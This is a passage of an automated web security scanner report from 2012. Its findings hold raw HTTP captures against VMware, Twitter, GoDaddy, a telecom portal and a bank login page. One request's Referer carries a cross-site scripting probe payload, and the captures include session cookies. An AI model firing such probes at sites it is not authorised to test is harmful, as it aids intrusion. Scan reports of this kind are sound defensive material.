ETag: "9c86744a"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:32 GMT
Date: Tue, 01 May 2012 04:21:32 GMT
Content-Length: 20514
Connection: close
Set-Cookie: JSESSIONID=52AFAE55F839FF36AF82F8F99991B76A; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:32 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
5.12. https://my.vmware.com/web/vmware/registration
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/registration

Request 1

GET /web/vmware/registration HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "dac15b04"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:07:48 GMT
Date: Tue, 01 May 2012 04:07:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=F088DFEDD327B21F6A22DB92011DA33B; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:07:48 GMT; Path=/
Set-Cookie: myvmware-www=ZWVgRI4sJoZ0mMC/PAtM7dD9uyJpwQeOWd9Vfw2E5mzdRByW9LBpXFAm/oub2l+jamC7Fl6xWpE7Qg==; path=/
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/
Content-Length: 45988



...[SNIP]...
5.13. https://my.vmware.com/web/vmware/terms-of-use
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/terms-of-use

Request 1

GET /web/vmware/terms-of-use HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "b2526d1c"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:25 GMT
Date: Tue, 01 May 2012 04:21:25 GMT
Content-Length: 18734
Connection: close
Set-Cookie: JSESSIONID=7EDB3FF4F0024915DC1D351BCC17A1B0; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:25 GMT; Path=/
Set-Cookie: myvmware-www=Xr+xZbUQZ9PE2zDZmno0/1/WF87R78VnTqaq3P7RiUYKojiMrDYPH6SnOM6rKfEO/N4HAQlru4rwrw==; path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
5.14. https://myaccount.flowja.com/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://myaccount.flowja.com
Path:   /

Request 1

GET / HTTP/1.1
Host: myaccount.flowja.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flowjamaica.com/index.php?option=com_content&task=view&id=26&Itemid=121

Response 1

HTTP/1.1 200 OK
Date: Mon, 30 Apr 2012 22:27:52 GMT
Server: Apache
Set-Cookie: PHPSESSID=4acldkbh7oei8j6agkd6kgng94; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15357

                       <head><meta http-equiv="Content-Type" content="text/html; charset=ISO-5529-1" />
                       <meta http-equiv="Refresh" content="1800; url=http://myaccount.flowja.com/?p=logout" />
<meta name="keywo
...[SNIP]...
5.15. https://mylearn.vmware.com/portals/www/search/results.cfm
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://mylearn.vmware.com
Path:   /portals/www/search/results.cfm

Request 1

GET /portals/www/search/results.cfm?ui=www_edu&pID=www&menu=search-results&searchtype=simple&orderBy=relevance&category=catalog&keyword=VMware+vSphere&Search=Search HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:08:59 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: CFID=78464090;expires=Thu, 24-Apr-2042 04:08:59 GMT;path=/
Set-Cookie: CFTOKEN=16d03048c9b9758e-41DB3037-E1F2-02EE-EEFA4A2EA93E8040;expires=Thu, 24-Apr-2042 04:08:59 GMT;path=/
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2839441674.20480.0000; path=/
Content-Length: 87306


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>VMware Training</title>
<meta http-equiv="content-
...[SNIP]...
5.16. https://mylearnssl.vmware.com/index.cfm
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://mylearnssl.vmware.com
Path:   /index.cfm

Request 1

GET /index.cfm HTTP/1.1
Host: mylearnssl.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://mylearnssl.vmware.com/
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Dvmware-vsphere5-ent%252523tab_register%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; ObSSOCookie=loggedoutcontinue; BIGipServermyln-prod-https-pool=2822664458.20480.0000

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:10 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: CFID=3193340;expires=Thu, 24-Apr-2042 04:09:10 GMT;path=/
Set-Cookie: CFTOKEN=69435054;expires=Thu, 24-Apr-2042 04:09:10 GMT;path=/
Connection: close
Content-Length: 775


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<title>VMware Education Portal</title>
<meta http-equiv="Content-Type" co
...[SNIP]...
5.17. https://twitter.com/BrendanPaddick
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://twitter.com
Path:   /BrendanPaddick

Request 1

GET /BrendanPaddick HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:17 GMT
Status: 200 OK
X-Runtime: 0.01571
Pragma: no-cache
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-Content-Type-Options: nosniff
X-MID: 36fdc6d3807ab4cdf6459bdc4866a80daa0c4f51
Last-Modified: Tue, 01 May 2012 00:12:17 GMT
ETag: "d24453da99eeb33bf0562d3468088792"
X-Frame-Options: SAMEORIGIN
X-Transaction: d1e3bef3cd8477b8
Set-Cookie: k=10.35.43.113.1335831137028354; path=/; expires=Tue, 08-May-12 00:12:17 GMT; domain=.twitter.com
Set-Cookie: _twitter_sess=BAh7CCIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCAyLvQU3AToHaWQiJTdm%250AMTQyMWE0NzBjZTYyMjM0YmQxMWQ1Y2I4MTU2ODBm--bf9a925144d96d666a1597f238e0fb78929da544; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Server: tfe
Content-Length: 54437

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
5.18. https://www.godaddy.com/domains/popups/icannfee.aspx
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://www.godaddy.com
Path:   /domains/popups/icannfee.aspx

Request 1

GET /domains/popups/icannfee.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=myamchgeggvlsau0rw1sios3; path=/; HttpOnly
Set-Cookie: SplitValue1=94; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:01 GMT; path=/
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=myamchgeggvlsau0rw1sios3; path=/; HttpOnly
Set-Cookie: SplitValue1=94; domain=godaddy.com; expires=Wed, 02-May-2012 00:12:01 GMT; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/popups/icannfee.aspx&server=M1PWCORPWEB156&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.36.218.2&referringpath=&referringdomain=&split=94; domain=godaddy.com; path=/
Set-Cookie: preferences1=_sid=; domain=godaddy.com; path=/
Date: Tue, 01 May 2012 00:12:01 GMT
Connection: close
Content-Length: 2073


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><link r
...[SNIP]...
5.19. https://www.vmware.com/resources/techresources/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://www.vmware.com
Path:   /resources/techresources/

Request 1

GET /resources/techresources/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=utf-8
Expires: Tue, 01 May 2012 03:47:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=ohcubrreveft6aabeoi14vte80; expires=Thu, 24 May 2012 07:20:55 GMT; path=/
Set-Cookie: BIGipServerportal-prod-webgate-pool=1984721162.20480.0000; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 117464

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equi
...[SNIP]...
5.20. https://internetbanking.firstcaribbeanbank.com/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://internetbanking.firstcaribbeanbank.com
Path:   /

Request 1

GET / HTTP/1.1
Host: internetbanking.firstcaribbeanbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:11:00 GMT
Last-Modified: Mon, 26 Sep 2011 18:05:21 GMT
Content-Length: 17555
Connection: close
Content-Type: text/html
Content-Language: en-US
Set-Cookie: TS924bd1=46534f0809d69e0b065547365ad635fe6ad2a5d1562a35794f9f2a14; Path=/
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Content-Type" c
...[SNIP]...
5.21. https://my.vmware.com/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /

Request 1

GET / HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
Location: http://my.vmware.com/group/vmware/home
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Tue, 01 May 2012 00:11:05 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TS558d30=b9ccecd4c30ccd63a49100d8a55262e526e19ea2824baa7b4f9f2a19; Path=/
Content-Length: 218

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="http://my.vmware.com/group/vmware/home">here</A>.<
...[SNIP]...
5.22. https://my.vmware.com/app/template
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /app/template

Request 1

GET /app/template?lang=en HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/evalcenter?p=vmware-vsphere5-ent
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83

Response 1

HTTP/1.1 200 OK
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 03:46:15 GMT
X-Powered-By: PHP/5.2.0
Content-Type: text/javascript; charset=utf-8
Date: Tue, 01 May 2012 03:46:15 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=; path=/
Set-Cookie: TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/
Content-Length: 69613


loadTemplate = function() {
   
vmimport('<div id=\"global-sites\"><div class=\"vmwarelogo\"><!--VmwareLogo--> <a href=\"//www.vmware.com/\" title=\"VMware\">VMware</a></div><div class=\"ad-nav\">
...[SNIP]...
5.23. https://my.vmware.com/group/vmware/evalcenter
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /group/vmware/evalcenter

Request 1

GET /group/vmware/evalcenter HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
Location: /web/vmware/login
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:22:06 GMT
Vary: Accept-Encoding
Content-Length: 279
Content-Type: text/html; charset=iso-8859-1
Date: Tue, 01 May 2012 04:22:06 GMT
Connection: close
Set-Cookie: ObSSOCookie=loggedoutcontinue; path=/; domain=.vmware.com;
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/web/vmware/login">here</a>.</p>
<hr>
<address>
...[SNIP]...
5.24. https://my.vmware.com/group/vmware/home
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /group/vmware/home

Request 1

GET /group/vmware/home HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/forgot-password?username=254erwdgfx
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520forgot-password%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/group/vmware/home%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000

Response 1

HTTP/1.1 302 Moved Temporarily
Location: /web/vmware/login
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:06:25 GMT
Vary: Accept-Encoding
Content-Length: 279
Content-Type: text/html; charset=iso-8859-1
Date: Tue, 01 May 2012 04:06:25 GMT
Connection: keep-alive
Set-Cookie: ObSSOCookie=loggedoutcontinue; path=/; domain=.vmware.com;
Set-Cookie: ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome; path=/;
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/web/vmware/login">here</a>.</p>
<hr>
<address>
...[SNIP]...
5.25. https://my.vmware.com/gsa/search
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.vmware.com
Path:   /gsa/search

Request 1

GET /gsa/search?=undefined&requiredfields= HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: https://my.vmware.com/web/vmware/evalcenter?p=vmware-vsphere5-ent&source=evapdc306%3E%3Cscript%3Ealert(1)%3C/script%3Ed893aadfed3
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=A7E4F324CDBAA8F1C4ACAC86BADE2471; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=27ed034f84db26e18ce4c20aeb748326723fc3f3bed27b3a4f9f658b; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000; ObSSOCookie=loggedoutcontinue; ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome

Response 1

HTTP/1.1 200 OK
Expires: Tue, 01 May 2012 04:25:07 GMT
Cache-Control: private
Content-Type: text/xml; charset=ISO-8859-1
x-content-type-options: nosniff
Vary: Accept-Encoding
Content-Length: 645
Date: Tue, 01 May 2012 04:25:07 GMT
Connection: keep-alive
Set-Cookie: myvmware-www=L8PtlbIALtxCegq2Jcry3/7CVKMj0yRMH3TTbDkAXTKCkpOFs/Ceiw8P/AjJE9qdt4PbW0nvQh5i7g==; path=/
Set-Cookie: TS558d30=27ed034f84db26e18ce4c20aeb748326723fc3f3bed27b3a4f9f658b; Path=/

<?xml version="1.0" encoding="ISO-8859-1" standalone="no"?>
<!DOCTYPE GSP SYSTEM "google.dtd">
<GSP VER="3.2">
<TM>0.001128</TM><Q></Q>
<PARAM name="" value="undefined" original_value="undefined"/>
<P
...[SNIP]...
5.26. https://mylearnssl.vmware.com/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://mylearnssl.vmware.com
Path:   /

Request 1

GET / HTTP/1.1
Host: mylearnssl.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Dvmware-vsphere5-ent%252523tab_register%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; ObSSOCookie=loggedoutcontinue

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:10 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html
Last-Modified: Wed, 08 Dec 2010 22:40:17 GMT
Accept-Ranges: bytes
ETag: "03a0e32897cb1:0"
Content-Length: 178
Connection: close
Set-Cookie: BIGipServermyln-prod-https-pool=2822664458.20480.0000; path=/

<html>
<head>
<meta http-equiv="refresh" content="0;url=index.cfm" />
<script>
<!--
   window.location.href = "index.cfm";
//-->
</script>
</head>
<body></body>
</html>
5.27. https://mylearnssl.vmware.com/remember.cfm
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://mylearnssl.vmware.com
Path:   /remember.cfm

Request 1

GET /remember.cfm HTTP/1.1
Host: mylearnssl.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://mylearnssl.vmware.com/mgrUsers/userLoginError.cfm?
